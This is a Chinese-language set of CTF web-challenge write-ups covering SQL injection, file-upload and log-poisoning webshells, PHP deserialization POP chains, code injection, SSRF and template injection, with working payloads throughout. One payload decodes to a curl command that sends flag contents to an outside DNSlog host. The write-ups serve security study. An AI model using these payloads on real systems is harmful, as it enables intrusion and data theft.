CTF题目总结 [强网杯 2019]随便注 tips:表名为数字时,需要用反引号包括起来查询。
1 0 '; show columns from `1919810931114514 `; #
alter语句:
1 alter table 表名 rename 新表名;
1 alter table 表名 change 旧字段名 新字段名 类型;
题目思路:
在框中输入1、2、3时,观察回显有两行,并结合堆叠注入观察本题中的两个表,发现‘words’表里面有两个列,所以判断题目中的后端sql语句为:
1 "select * from words where id='".$_GET['inject' ]."'"
又由输入1、2、3等数字时出现的回显,可推测它是以id字段为索引
所以可以将含有flag的表’1919810931114514’改名成words:
1 1';alter table words rename aaa;alter table `1919810931114514` change flag id varchar(64);alter table `1919810931114514` rename words;#
现在变成以flag的值为索引,然而我们并不知道flag的值是多少
所以使用万能钥匙1' or '1' = '1
,即可得到flag
[HUBUCTF 2022 新生赛]checkin 1.若发现反序列化题目中甚至连类都没有时,在exp中直接构造数组a,在里面对变量进行赋值,然后输出其序列化格式。
例如:$a = array( 'username' => true , 'password' = true );
2.布尔类型True与非零非NULL变量比较都会是True
[SUCTF 2019]CheckIn 传入.user.ini文件,内含auto_prepend_file=muma.png
,意为:将muma.png包含到本地的index.php中,所以在上传了木马图片和.user.ini文件后,只用访问index.php在里面传参即可。
[suctf 2019]EasySQL 猜测后端sql语句为:
1 select $_POST['query' ] || flag from Flag;
法一:
query=*,1 即:
1 select * , 1 || flag from Flag;
经过实验发现:
只有非零数字和flag进行或运算才可以返回真。
所以等价于:
法二:
query=1;set sql_mod=PIPES_AS_CONCAT;select 1
set sql_mod=PIPES_AS_CONCAT
的作用是将’||’的意义由原来的或运算转换成字符串的连接符。
所以等价于:
1 select concat(1 ,flag) from Flag;
[鹤城杯 2021]EasyP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php include 'utils.php'; if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if ($guess === $secret) { $message = 'Congratulations! The flag is: ' . $flag; } else { $message = 'Wrong. Try Again'; } } //不用管这段! if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("hacker :)"); } if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){ exit("hacker :)"); } if (isset($_GET['show_source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); }else{ show_source(__FILE__); } ?>
用正确的payload理解以下三个抽象点。
payload:http://node4.anna.nssctf.cn:28618/index.php/utils.php/%88?show[source=1
1.$_SERVER['PHP_SELF']
即为:/index.php/utils.php/%88
(由网站的根截取到赋值步骤的前面)
2.$_SERVER['REQUEST_URI']
即为:/index.php/utils.php/%88?show[source=1
(由网站的根截取到url的尾巴)
3.basename($_SERVER['PHP_SELF'])
原意为拿走括号内容里面最后一个/后面的东西,但是这边/后面是%88(一种非ascii字符)或者是中文也可以,这种情况下就会被忽略,于是basename定位到上一个/后面,即是:utils.php
[CTFSHOW] Web257 1 2 3 if (!preg_match ('/[oc]:\d+:/i' , $_COOKIE ['user' ])){ $user = unserialize ($_COOKIE ['user' ]); }
当遇到过滤了O:x的时候,可以在exp中:
1 2 3 $a = serialize ($a );$a = str_replace ('O:' , 'O:+' ,$a );echo urlencode ($a );
原理即是在O后面的数字前面多加一个正号,不改变原意,且能绕过正则。
[MoeCTF 2021]Do you know HTTP *一开始进来看到说请使用HS请求,一下子有点懵逼后来才知道这个只能使用burpsuite来修改。
1 2 3 4 5 6 7 8 9 10 11 HS / HTTP/1.1 <---这边的HS原来是GET请求,只需把它改成HS即可,注意后面的格式要严格按照(空格)/(空格)来 Host: node5.anna.nssctf.cn:28743 Upgrade-Insecure-Requests: 1 User-Agent: LT Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: b-user-id=a553dc60-6b40-4051-699c-2d7f2265aa01 Connection: close X-Forwarded-For:127.0.0.1 Referer:www.ltyyds.com
[CTFSHOW]80 1 2 3 4 5 6 7 8 if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
将php和data替换为空,这两种伪协议都没法用,于是在日志文件中写入一句话木马,并进行包含。
具体做法:
1.抓包,在User-Agent这一栏的最后写入一句话木马,在GET那一栏中写入包含日志的路径:
1 GET /?file=/var/log/nginx/access.log HTTP/1.1
然后使用蚁剑连接。
[安洵杯2023] easy_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 <?php error_reporting (0 );class Good { public $g1 ; private $gg2 ; public function __construct ($ggg3 ) { $this ->gg2 = $ggg3 ; } public function __isset ($arg1 ) { if (!preg_match ("/a-zA-Z0-9~-=!\^\+\(\)/" ,$this ->gg2)) { if ($this ->gg2) { $this ->g1->g1=666 ; } }else { die ("No" ); } } } class Luck { public $l1 ; public $ll2 ; private $md5 ; public $lll3 ; public function __construct ($a ) { $this ->md5 = $a ; } public function __toString ( ) { $new = $this ->l1; return $new (); } public function __get ($arg1 ) { $this ->ll2->ll2 ('b2' ); } public function __unset ($arg1 ) { if (md5 (md5 ($this ->md5)) == 666 ) { if (empty ($this ->lll3->lll3)){ echo "There is noting" ; } } } } class To { public $t1 ; public $tt2 ; public $arg1 ; public function __call ($arg1 ,$arg2 ) { if (urldecode ($this ->arg1)===base64_decode ($this ->arg1)) { echo $this ->t1; } } public function __set ($arg1 ,$arg2 ) { if ($this ->tt2->tt2) { echo "what are you doing?" ; } } } class You { public $y1 ; public function __wakeup ( ) { unset ($this ->y1->y1); } } class Flag { public function __invoke ( ) { echo "May be you can get what you want here" ; array_walk ($this , function ($one , $two ) { $three = new $two ($one ); foreach ($three as $tmp ){ echo ($tmp .'<br>' ); } }); } } if (isset ($_POST ['D0g3' ])){ unserialize ($_POST ['D0g3' ]); }else { highlight_file (__FILE__ ); } ?>
[安洵杯2023] what’s my name 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__file__);$d0g3 =$_GET ['d0g3' ];$name =$_GET ['name' ];if (preg_match ('/^(?:.{5})*include/' ,$d0g3 )){ $sorter ='strnatcasecmp' ; $miao = create_function ('$a,$b' , 'return "ln($a) + ln($b) = " . log($a * $b);' ); echo $miao ; if (strlen ($d0g3 )==substr ($miao , -2 )&&$name ===$miao ){ echo 'yes!' ; $sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);' ; @$miao =create_function ('$a, $b' , $sort_function ); } else { echo ('Is That My Name?' ); } } else { echo ("YOU Do Not Know What is My Name!" ); }
[NISACTF 2022]babyupload 1.分析源代码,发现提示source文件。
2.下载文件,审计python代码,发现有个os.path.join
函数。
3.绝对路径拼接漏洞:
os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。
然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径 。
4.利用上述漏洞,用burpsuite进行抓包时,直接将文件名改成”/flag”,上传一个名叫”/flag”的文件。
5.由于前面所说的漏洞,所以我们在通过查询/file/(/flag文件的uid)时,能够直接查询到根目录下的真实flag文件。
[NISACTF 2022]bingdundun~ 1.进入题目点击upload页面,观察url发现有个?bingdundun=upload,想到有可能存在文件包含。
2.只能上传压缩包格式,于是把木马打包成一个zip,zip里面的木马文件名字叫做f1ag.php
3.上传成功,显示页面为/f8e8b332778239d26a9d92e983641a04.zip,于是使用payload:
1 ?bingdundun=phar://f8e8b332778239d26a9d92e983641a04.zip/f1ag
即使用phar伪协议包含压缩包里面的文件,注意要加上压缩包的下一集文件名,并且不要加上后缀。
姬哥のweb16 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ ); class A { public $func ; public $inside ; public $hint ; public function __wakeup ( ) { if ($this ->hint==1 ){ include "php://filter/read=convert.base64-encode/resource=web16.5.php" ; } call_user_func ($this ->func); if (file_exists ("/var/lib/php/sessions/sess_wllmisbest" )){ file_put_contents ("/var/lib/php/sessions/sess_wllmisbest" ,"$this ->inside" ); } } } if (file_exists ("/var/lib/php/sessions/sess_wllmisbest" )){ include "web16.5.php" ; unserialize (file_get_contents ("/var/lib/php/sessions/sess_wllmisbest" )); } unserialize ($_GET ['wllm' ]);
1.在本地写exp,将hint改成1,然后输出序列化payload。
2.提交后得到了web16.5的base64编码如下:
1 PD9waHAKY2xhc3MgQnsKICAgIHB1YmxpYyAka2V5OwogICAgcHVibGljIGZ1bmN0aW9uIF9fd2FrZXVwKCl7CiAgICAgICAgaWYobWQ1KCR0aGlzLT5rZXkpPT0kdGhpcy0+a2V5KXsKICAgICAgICAgICAgc3lzdGVtKCJjYXQgZmxhZyIpOwogICAgICAgIH0KICAgIH0KfQ==
解码后得到:
1 2 3 4 5 6 7 8 9 <?php class B { public $key ; public function __wakeup ( ) { if (md5 ($this ->key)==$this ->key){ system ("cat flag" ); } } }
tips:include函数包含文件不会回显,需要伪协议来进行回显其具体内容。
include "php://filter/read=convert.base64-encode/resource=web16.5.php";
和include "web16.5.php";
的区别:
前一个会有回显,但是不会真正地把web16.5文件给包含到当下目录。后一个无回显,但是真正地实现了包含的作用。
3.通过审计代码,得知需要让if (file_exists("/var/lib/php/sessions/sess_wllmisbest"))
判断成立,则需要让sess_wllmisbest路径下存在文件,方法则是利用call_user_func
函数,调用session_start
函数,再通过burp抓包,在Cookie这一行中的PHPSESSID后面的值改成wllmisbest,会使得sess_wllmisbest路径下生成文件,满足判断的要求,接下来file_put_contents
函数可以将$inside变量写入sess_wllmisbest中的文件,file_get_contents
函数用来提取文件中的内容,变成字符串,然后被反序列化。
4.在本地另写一个exp,内容是之前解码得到的php代码,通过正确的key:0e215962017
来生成payload,加入到前一个exp的$inside变量中,再次生成payload。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class A { public $func = 'session_start' ; public $inside = 'O:1:"B":1:{s:3:"key";s:11:"0e215962017";}' ; public $hint = 1 ; public function __wakeup ( ) { if ($this ->hint==1 ){ include "php://filter/read=convert.base64-encode/resource=web16.5.php" ; } call_user_func ($this ->func); if (file_exists ("/var/lib/php/sessions/sess_wllmisbest" )){ file_put_contents ("/var/lib/php/sessions/sess_wllmisbest" ,"$this ->inside" ); } } } $a = new A ();echo urlencode (serialize ($a ));
注意这边inside的值不能被url编码,因为后面又要经过一次url编码,会发生错误。
5.提交payload,获得flag。
[FSCTF 2023]ez_php1 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );error_reporting (0 );include "globals.php" ;$FAKE_KEY = "Do you love CTF?" ;$KEY = "YES I love" ;$str = $_GET ['str' ];echo $flag ;if (unserialize ($str ) === "$KEY " ){ echo "$hint2 " ; } ?>
注意:不要因为没有看到类就傻掉,单独的一个变量也是可以进行序列化的。
exp1:
1 2 3 <?php $str = "YES I love" ;echo serialize ($str );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );error_reporting (0 );class Clazz { public $a ; public $b ; public function __wakeup ( ) { $this ->a = file_get_contents ("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php" ); } public function __destruct ( ) { echo $this ->b; } } @unserialize ($_POST ['data' ]); ?>
考察使用”&”进行引用,让$a与$b用相同的地址。
exp2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class Clazz { public $a ; public $b ; public function __wakeup ( ) { $this ->a = file_get_contents ("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php" ); } public function __destruct ( ) { echo $this ->b; } } $a = new Clazz ();$a ->b=&$a ->a; echo serialize ($a );
[极客大挑战 2020]greatphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );class SYCLOVER { public $syc ; public $lover ; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5 ($this ->syc) === md5 ($this ->lover)) && (sha1 ($this ->syc)=== sha1 ($this ->lover)) ){ if (!preg_match ("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match )){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } } if (isset ($_GET ['great' ])){ unserialize ($_GET ['great' ]); } else { highlight_file (__FILE__ ); } ?>
利用Error原生类绕过哈希比较
正则ban掉了括号和引号,不能正常eval函数,于是构造include "/flag"
直接包含文件,但是flag周围有引号,使用取反进行绕过即可。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );class SYCLOVER { public $syc ; public $lover ; } $str = "?><?=include~" .urldecode ("%D0%99%93%9E%98" )."?>" ; $a = new Error ($str ,1 );$b = new Error ($str ,2 );$c = new SYCLOVER;$c ->syc = $a ;$c ->lover = $b ;echo (urlencode (serialize ($c )));
[GDOUCTF 2023]反方向的钟 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php error_reporting (0 );highlight_file (__FILE__ );class teacher { public $name ; public $rank ; private $salary ; public function __construct ($name ,$rank ,$salary = 10000 ) { $this ->name = $name ; $this ->rank = $rank ; $this ->salary = $salary ; } } class classroom { public $name ; public $leader ; public function __construct ($name ,$leader ) { $this ->name = $name ; $this ->leader = $leader ; } public function hahaha ( ) { if ($this ->name != 'one class' or $this ->leader->name != 'ing' or $this ->leader->rank !='department' ){ return False; } else { return True; } } } class school { public $department ; public $headmaster ; public function __construct ($department ,$ceo ) { $this ->department = $department ; $this ->headmaster = $ceo ; } public function IPO ( ) { if ($this ->headmaster == 'ong' ){ echo "Pretty Good ! Ctfer!\n" ; echo new $_POST ['a' ]($_POST ['b' ]); } } public function __wakeup ( ) { if ($this ->department->hahaha ()) { $this ->IPO (); } } } if (isset ($_GET ['d' ])){ unserialize (base64_decode ($_GET ['d' ])); } ?>
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class teacher { public $name ; public $rank ; private $salary ; } class classroom { public $name ; public $leader ; } class school { public $department ; public $headmaster ; } $a = new school;$a ->department = new classroom;$a ->department->name = "one class" ;$a ->department->leader = new teacher;$a ->department->leader->name = 'ing' ;$a ->department->leader->rank = 'department' ;$a ->headmaster = 'ong' ;echo (base64_encode (serialize ($a )));?>
重点是利用SplFileObject类进行文件读取。
payload:
1 a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php
注意这里要使用php伪协议进行读取,因为SplFileObject读文件只能读取第一行,而伪协议可以把它压缩成一行,从而读取完整的文件。
[SWPUCTF 2023 秋季新生赛]If_else 1 2 3 4 5 6 7 8 9 10 <?php $a =false ; $b =false ; if (你提交的部分将会被写至这里) {$a =true ;} else {$b =true ;} if ($a ===true &&$b ===true ) eval (system (cat /flag)); ?>
题目要求:提交POST参数check,内容会写入到上述的if判断语句中。
一些与题目无关的知识:
if语句的赋值特性
if的判断语句内是可以进行赋值操作的,返回值即为被赋予的值,只要不是0,都判断为正确。
本题思想:
使用php的多行注释符:/*
闭合掉后面的所有语句,自己构造语句读取flag。
payload:
1 check=1 ){eval (system ("cat /flag" ));}
[NISACTF 2022]level-up 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting (0 );include "str.php" ;$a = $_GET ['a' ];$b = $_GET ['b' ];if (preg_match ('/^[a-z0-9_]*$/isD' ,$a )){ show_source (__FILE__ ); } else { $a ('' ,$b ); }
重点考察create_function函数造成的代码注入漏洞
payload:
1 ?a=\create_function&b=}system("cat /flag");/*
为什么给a的赋值前面要加上一个\
呢,理解如下:
php中有一个空间的概念,默认情况下写入的代码都位于全局空间,而\
可以起到一个分割空间的作用。然而默认情况下代码create_function
与\create_function
都是同样位于全局空间的,所以即能够绕过正则表达式,也不影响函数的正常执行。
[CTFSHOW 愚人杯2023]被遗忘的反序列化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 <?php # 当前目录中有一个txt文件哦 error_reporting(0); show_source(__FILE__); include("check.php"); class EeE{ public $text; public $eeee; public function __wakeup(){ if ($this->text == "aaaa"){ echo lcfirst($this->text); } } public function __get($kk){ echo "$kk,eeeeeeeeeeeee"; } public function __clone(){ $a = new cycycycy; $a -> aaa(); } } class cycycycy{ public $a; private $b; public function aaa(){ $get = $_GET['get']; $get = cipher($get); if($get === "p8vfuv8g8v8py"){ eval($_POST["eval"]); } } public function __invoke(){ $a_a = $this -> a; echo "\$a_a\$"; } } class gBoBg{ public $name; public $file; public $coos; private $eeee="-_-"; public function __toString(){ if(isset($this->name)){ $a = new $this->coos($this->file); echo $a; }else if(!isset($this -> file)){ return $this->coos->name; }else{ $aa = $this->coos; $bb = $this->file; return $aa(); } } } class w_wuw_w{ public $aaa; public $key; public $file; public function __wakeup(){ if(!preg_match("/php|63|\*|\?/i",$this -> key)){ $this->key = file_get_contents($this -> file); }else{ echo "不行哦"; } } public function __destruct(){ echo $this->aaa; } public function __invoke(){ $this -> aaa = clone new EeE; } } $_ip = $_SERVER["HTTP_AAAAAA"]; unserialize($_ip);
首先审计代码,在cycycy类中发现了eval函数,鉴定为出口。但是发现一个问题:cipher函数是什么?我们要知道cipher函数的加密过程,推出p8vfuv8g8v8py 密文加密前的样子,才能继续。
观察到gBoBg类中的__tostring方法中有一个形如new $a($b);
的东西,判断这边可以使用原生类反序列化知道一些文件的名字和读取文件,又由提示说目录下有一个txt文件,所以准备开始构造pop链,目标是读取这个txt。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class EeE { public $text ; public $eeee ; } class cycycycy { public $a ; private $b ; } class gBoBg { public $name = '1' ; public $file = '*txt' ; public $coos = 'GlobIterator' ; } class w_wuw_w { public $aaa ; public $key ; public $file ; } $a = new w_wuw_w;$b = new gBoBg;$a ->aaa = $b ;echo (serialize ($a ));
将序列化代码塞进去后得到txt文件名字叫做h1nt.txt ,随后用SplFileObject类进行读取。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class EeE { public $text ; public $eeee ; } class cycycycy { public $a ; private $b ; } class gBoBg { public $name = '1' ; public $file = 'h1nt.txt' ; public $coos = 'SplFileObject' ; } class w_wuw_w { public $aaa ; public $key ; public $file ; } $a = new w_wuw_w;$b = new gBoBg;$a ->aaa = $b ;echo (serialize ($a ));
显示用于check.php,于是我们现在想办法读取check.php。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class EeE { public $text ; public $eeee ; } class cycycycy { public $a ; private $b ; } class gBoBg { public $name = '1' ; public $file = 'php://filter/read=convert.base64-encode/resource=check.php' ; public $coos = 'SplFileObject' ; } class w_wuw_w { public $aaa ; public $key ; public $file ; } $a = new w_wuw_w;$b = new gBoBg;$a ->aaa = $b ;echo (serialize ($a ));
读取得到check.php的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php function cipher ($str ) { if (strlen ($str )>10000 ){ exit (-1 ); } $charset = "qwertyuiopasdfghjklzxcvbnm123456789" ; $shift = 4 ; $shifted = "" ; for ($i = 0 ; $i < strlen ($str ); $i ++) { $char = $str [$i ]; $pos = strpos ($charset , $char ); if ($pos !== false ) { $new_pos = ($pos - $shift + strlen ($charset )) % strlen ($charset ); $shifted .= $charset [$new_pos ]; } else { $shifted .= $char ; } } return $shifted ; }
经过代码审计,知道了加密的规律:
将明文的每个字符在$charset中找到对应的位置,并按照$charset中的顺序前移4位,最终得到密文。
根据该规律,我们可以得到密文p8vfuv8g8v8py 的明文是fe1ka1ele1efp ,现在可以开始构造pop链直达eval函数的地方:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class EeE { public $text = 'aaaa' ; public $eeee ; } class cycycycy { public $a ; private $b ; } class gBoBg { public $name ; public $file = '6' ; public $coos ; } class w_wuw_w { public $aaa ; public $key ; public $file ; } $a = new w_wuw_w;$a ->aaa = new gBoBg;$a ->aaa->coos = new w_wuw_w;echo (serialize ($a ));
最终利用eval函数cat出flag。
[护网杯 2018]easy_tornado 题目中给出了三个路由:flag.txt,welcome.txt,hints.txt。
打开flag.txt,提示flag在/fllllllllllllag中。
打开welcome.txt,里面写道render。render
函数是许多Web框架和模板引擎中常见的一个函数,用于将模板文件渲染为最终的HTML页面。所以这边应该只是提示这题是模板注入类型。
打开hint.txt,提示**md5(cookie_secret+md5(filename))**。
观察点进各个路由时url的特征,即都是由:?filename=/xxx&filehash=xxx组成的。猜测filename里面放的就是要打开的文件的名称,filehash里面放着的要是hint文件中提示的加密规则之后的密文。
综合前面提示,我们知道filename里面要放入/fllllllllllllag。
我们还需要知道cookie_secret 是什么。
在filename里面随便输入时,会跳转到一个Error页面,仔细观察此时的url,出现了类似模板注入的地方。
传入:/error?msg={{handler.settings}}
回显的内容会出现cookie_secret 。
最后输入正确的密文,获取flag。
[HCTF 2018]WarmUp 进入题目,在网页源代码中发现存在source.php文件,进入。
找到源码如下,并进行代码审计。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php highlight_file (__FILE__ ); class emmm { public static function checkFile (&$page ) //存在一个checkFile 方法 { $whitelist = ["source" =>"source.php" ,"hint" =>"hint.php" ]; if (!isset ($page ) || !is_string ($page )) { echo "you can't see it" ; return false ; } if (in_array ($page , $whitelist )) { return true ; } $_page = mb_substr ( $page , 0 , mb_strpos ($page . '?' , '?' ) ); if (in_array ($_page , $whitelist )) { return true ; } $_page = urldecode ($page ); $_page = mb_substr ( $_page , 0 , mb_strpos ($_page . '?' , '?' ) ); if (in_array ($_page , $whitelist )) { return true ; } echo "you can't see it" ; return false ; } } if (! empty ($_REQUEST ['file' ]) && is_string ($_REQUEST ['file' ]) && emmm::checkFile ($_REQUEST ['file' ]) ) { include $_REQUEST ['file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; } ?>
输入:/source.php?file=hint.php
,包含进来hint文件,得知flag文件是ffffllllaaaagggg 。
构造payload如下:
1 /source.php?file=source.php?/ffffllllaaaagggg
重要思想:
构造source.php?
的目的有两个:
一是绕过前面的检测,source.php? 可以通过checkFile方法的检测。
二是在source.php?后加一个/,这时source.php会被视为一个文件夹,后面每一级的..意为上一层文件夹,通过不断尝试加入../最后可以知道具体的目录层级,以访问到ffffllllaaaagggg。
所以在ffffllllaaaagggg 前面添加若干个**../**,返回到上一级的目录,直至找到flag文件。
[Hgame2024] What the cow say? 输入的东西会得到回显,试着用反引号进行命令执行:
结果成功回显网页根目录下的文件名字。
看到flag的文件名字叫做:flag_is_here 再执行ls,看到当前目录下有个文件app.py ,用tac命令对其进行读取,看到’flag’和’cat’被ban掉了。
想到使用通配符*****进行绕过,输入:
回显:
1 tac: /flag_is_here: read error: Is a directory
经过翻译可以得知:flag_is_here是一个文件夹的名字,不可以直接对一个文件夹进行读取,而是要对一个文件进行读取。
所以再使用一次通配符读取文件夹里面的flag文件。
得到flag。
[Hgame2024] jhat 1.根据提示进入网页的oql界面,在框内进行rce。
2.java的rce通用payload为:java.lang.Runtime.getRuntime().exec("payload")
3.通过DNSlog外带,构造payload如下:
1 bash -c {echo,Y3VybCBgY2F0IC9mKmAuZzNpMjQ1LmNleWUuaW8=}|{base64,-d}|{bash,-i}
其中”Y3VybCBgY2F0IC9mKmAuZzNpMjQ1LmNleWUuaW8=”解码为:”curl cat /f*
.g3i245.ceye.io”
“g3i245.ceye.io”即是对应的DNSlog网址。
再将构造好payload代入,就能在DNSlog网站中找到request里的flag。
[RoarCTF 2019]Easy Calc 1.在源码中找到calc.php
2.进入calc.php,经过测试,发现除数字之外的东西都被WAF给禁用了
3.绕过:
因为num不可以传入字母,但是我们在num参数之前添加一个空格,这样在PHP的语言特性下会默认删除这个空格,但是WAF会因为这个空格导致检测不到num这个参数,最终导致WAF被绕过。
[网鼎杯 2018]Fakebook 1.在join一栏中随便输入进行注册
2.在robots.txt中发现泄露的源码,在源码中的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function get ($url ) { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec ($ch ); $httpCode = curl_getinfo ($ch , CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close ($ch ); return $output ; }
找到疑似SSRF漏洞的代码
3.从这里可以推理出blog的位置可以利用SSRF漏洞,即构造file:///var/www/html/flag.php
对flag进行读取。
4.观察到注册完的页面的url为:/view.php?no=1
,想到可以对其进行SQL注入。
5.输入:1 and 1=1,查询成功,判断其为数字型注入,使用order by指令知晓它有四列,接着使用联合注入,发现回显位在第二列,查库查表查字段。
6.在data字段里面发现了一串序列化代码,可以想到在join栏注册的时候,数据被序列化,在view栏中显示的时候,序列化代码被反序列化执行。
7.根据联合注入的特性:select的东西若不存在,会在对应列下面多出一个对应的字段。
8.根据观察可以判定blog列在第四列,所以将序列化的payload放入其中:
1 O:8:"UserInfo":3:{s:4:"name";s:7:"xiaofuc";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
,然后在网页源代码中找到被base64加密过后的flag。
[BSidesCF 2020]Had a bad day 在点击猫或者狗的时候,观察到url变成了**?category=…**
猜测可能存在文件包含漏洞,配合上php伪协议,构造:
1 ?category=php://filter/read=convert.base64-encode/resource=index
成功读取源码,注意到:
1 2 3 if ( strpos ( $file , "woofers" ) !== false || strpos ( $file , "meowers" ) !== false || strpos ( $file , "index" )){ include ($file . '.php' ); }
说明最后的payload不能简单地构造成:
1 php://filter/read=convert.base64-encode/resource=flag
其中必须要包含”woofers”,”meowers”,”index”其中之一的字符串。
最终构造payload:
1 php://filter/read=convert.base64-encode/index/resource=flag
它既包含了”index”字符串,又使得伪协议能正常运作
[GXYCTF2019]禁止套娃 点进去什么也找不到,于是使用dirsearch,发现了许多.git文件。
使用GitHack工具,将index的源码下载下来,进行代码审计:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php include "flag.php" ;echo "flag鍦ㄥ摢閲屽憿锛�<br>" ;if (isset ($_GET ['exp' ])){ if (!preg_match ('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET ['exp' ])) { if (';' === preg_replace ('/[a-z,_]+\((?R)?\)/' , NULL , $_GET ['exp' ])) { if (!preg_match ('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET ['exp' ])) { @eval ($_GET ['exp' ]); } else { die ("杩樺樊涓€鐐瑰摝锛�" ); } } else { die ("鍐嶅ソ濂芥兂鎯筹紒" ); } } else { die ("杩樻兂璇籪lag锛岃嚟寮熷紵锛�" ); } } ?>
发现输入的exp需要满足a(b(c());
这样的嵌套形式。
法一: 使用session_start()来开启session会话,使用session_id函数来获取当前会话的ID,再手动加入请求头:
1 Cookie: PHPSESSID=flag.php
对flag文件进行高亮显示。
法二:
使用payload:
1 var_dump(scandir(current(localeconv())));
对当前目录文件进行遍历。
得到:
1 array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" }
使用array_reverse函数将其倒序排列。
1 array(5) { [0]=> string(9) "index.php" [1]=> string(8) "flag.php" [2]=> string(4) ".git" [3]=> string(2) ".." [4]=> string(1) "." }
最终构造:
1 highlight_file(next(array_reverse(scandir(current(localeconv())))));
[安洵杯 2019]easy_web 要点:
在cyberchef上用Hex编码进行加密要注意:加密完是有空格的,要手动把空格给删掉。
不要在hackbar上传md5强碰撞,用bp发上去。
当ban掉了ls时,可以使用dir进行平替。
当ban掉了”ls”,”cat”等关键字时,可以使用\ 来绕过。
例如:ca\t
[安洵杯 2019]easy_serialize_php 1 2 3 4 5 function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode ('|' ,$filter_arr ).'/i' ; return preg_replace ($filter ,'' ,$img ); }
若输入的字符串中出现’php’,’flag’等字符串,将其直接替换为空。
通过一个关联数组来批量创建变量。
它会触发变量覆盖的漏洞:如果post传参为_SESSION[flag]=123,那么$_SESSION[“user”]和$_SESSION[“function”]的值都会被覆盖 。
